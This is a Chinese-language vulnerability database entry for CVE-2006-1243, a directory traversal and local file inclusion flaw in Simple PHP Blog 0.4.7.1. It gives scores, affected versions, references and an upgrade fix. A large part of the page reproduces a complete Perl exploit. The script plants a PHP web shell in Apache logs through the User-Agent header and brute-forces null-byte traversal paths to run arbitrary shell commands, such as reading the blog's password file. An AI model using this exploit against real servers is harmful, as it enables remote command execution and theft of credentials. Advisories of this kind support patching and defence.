CVE-2006-1243
CVSS7.5
发布时间 :2006-03-15 12:06:00
修订时间 :2011-03-07 21:32:30
NMCOE    

[原文]Directory traversal vulnerability in install05.php in Simple PHP Blog (SPB) 0.4.7.1 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences and a NUL (%00) character in the blog_language parameter, as demonstrated by injecting PHP sequences into an Apache access_log file, which is then included using install05.php.


[CNNVD]简单PHP博客'Install05.PHP' 目录遍历漏洞(CNNVD-200603-273)

        在简单PHP博客(SPB) 0.4.7.1及其早期版本的install05.php中存在目录遍历漏洞,远程攻击者可通过目录遍历序列和在blog_language参数中的一个"空"(%00) 字符,包含和执行任意本地文件,如将PHP序列注入到Apache access_log文件中所显示的那样, 然后利用install05.php被包含。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:alexander_palmo:simple_php_blog:0.4.5
cpe:/a:alexander_palmo:simple_php_blog:0.4.7.1
cpe:/a:alexander_palmo:simple_php_blog:0.4.0
cpe:/a:alexander_palmo:simple_php_blog:0.4.7
cpe:/a:alexander_palmo:simple_php_blog:0.4.6

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1243
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1243
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-273
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/25322
(UNKNOWN)  XF  simplephpblog-install05-file-include(25322)
http://www.vupen.com/english/advisories/2006/1007
(UNKNOWN)  VUPEN  ADV-2006-1007
http://www.securityfocus.com/bid/17102
(UNKNOWN)  BID  17102
http://secunia.com/advisories/19270
(UNKNOWN)  SECUNIA  19270
http://milw0rm.com/exploits/1581
(UNKNOWN)  MILW0RM  1581
http://www.attrition.org/pipermail/vim/2006-November/001138.html
(UNKNOWN)  VIM  Vendor ACK for CVE-2006-1243 (older Simple PHP Blog)
http://sourceforge.net/forum/forum.php?forum_id=564904
(UNKNOWN)  CONFIRM  http://sourceforge.net/forum/forum.php?forum_id=564904

- 漏洞信息

简单PHP博客'Install05.PHP' 目录遍历漏洞
高危 路径遍历
2006-03-15 00:00:00 2006-08-24 00:00:00
远程  
        在简单PHP博客(SPB) 0.4.7.1及其早期版本的install05.php中存在目录遍历漏洞,远程攻击者可通过目录遍历序列和在blog_language参数中的一个"空"(%00) 字符,包含和执行任意本地文件,如将PHP序列注入到Apache access_log文件中所显示的那样, 然后利用install05.php被包含。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1581)

Simple PHP Blog <= 0.4.7.1 Remote Command Execution Exploit (EDBID:1581)
php webapps
2006-03-13 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/perl
use IO::Socket;

print "Simple PHP Blog <= 0.4.7.1 cmmnds xctn exploit\r\n";
print "through arbitrary local inclusion\r\n";
print "rgod rgod\@autistici.org\r\n";
print "-> this works with magic_quotes_gpc = Off\r\n\r\n";

# short explaination:
# we have this code in install05.php:
# <?php
#	require_once('scripts/sb_functions.php');
#	global $logged_in;
#	$logged_in = logged_in( false, false );
#
#	read_config();
#
#	global $blog_config;
#	if ( isset( $_GET[ 'blog_language' ] ) ) {
#		$blog_config[ 'blog_language' ] = $_GET[ 'blog_language' ];
#	}
#
#	require_once('languages/' . $blog_config[ 'blog_language' ] . '/strings.php');
#	sb_language( 'install05' );
# ?>
# ...
#
# script is not deleted after installation, so, if magic_quotes_gpc = Off,
# you can include an arbitrary file from local resources, poc:
#
# http://[target]/[path_to_blog]/install05.php?blog_language=../../../../../../etc/passwd%00
#
# (breaking path through a null char)
#
# it seems you cannot inject php code (php tags are converted to html entities)
# in SPB resources, but you can inject a shell in Apache logs, so... :
#
# http://[target]/[path]/install05.php?blog_language=../../../../../../var/log/httpd/access_log%00&cmd=ls%20-la

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl spb_0471_incl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where Simple PHP Blog is installed.\r\n";
print "PATH           - Path to Simple PHP Blog (ex: /spb/ or just /)\r\n";
print "COMMAND        - A shell command (\"cat ./config/password.php\"\r\n";
print "                 to see encrypted username & password)\r\n\r\n";
print "Example:\r\n";
print "perl spb_0471_incl.pl 192.168.1.3 /gbs/ ls -la\r\n";
exit();
}

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

print "[1] Injecting some code in log files ...\r\n";
$CODE="<?php ob_clean();echo 666;passthru(\$_GET[cmd]);echo 666;die;?>";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path.$CODE." HTTP/1.1\r\n";
print $sock "User-Agent: ".$CODE."\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);

# fill with possible locations
my @paths= (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

  for ($i=0; $i<=$#paths; $i++)
  {
    $a = $i + 2;
    print "[".$a."] trying with ".$paths[$i]."%00 for blog_language argument...\r\n";
    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
    or die "[+] Connecting ... Could not connect to host.\n\n";
    print $sock "GET ".$path."install05.php?cmd=".$cmd."&blog_language=".urlEncode($paths[$i])."%00 HTTP/1.1\r\n";
    print $sock "Host: ".$serv."\r\n";
    print $sock "Connection: close\r\n\r\n";
    $out='';
    while ($answer = <$sock>) {
    $out.=$answer;
    }
    close($sock);
    @temp= split /666/,$out,3;
    if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}

  }
  #if you are here...
  print "\r\nExploit failed...\r\n";

# milw0rm.com [2006-03-13]
		

- 漏洞信息

24005
Simple PHP Blog (SPHPBlog) install05.php blog_language Parameter Traversal Local File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2006-03-14 Unknow
2006-03-13 Unknow

- 解决方案

Upgrade to version 0.4.7.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站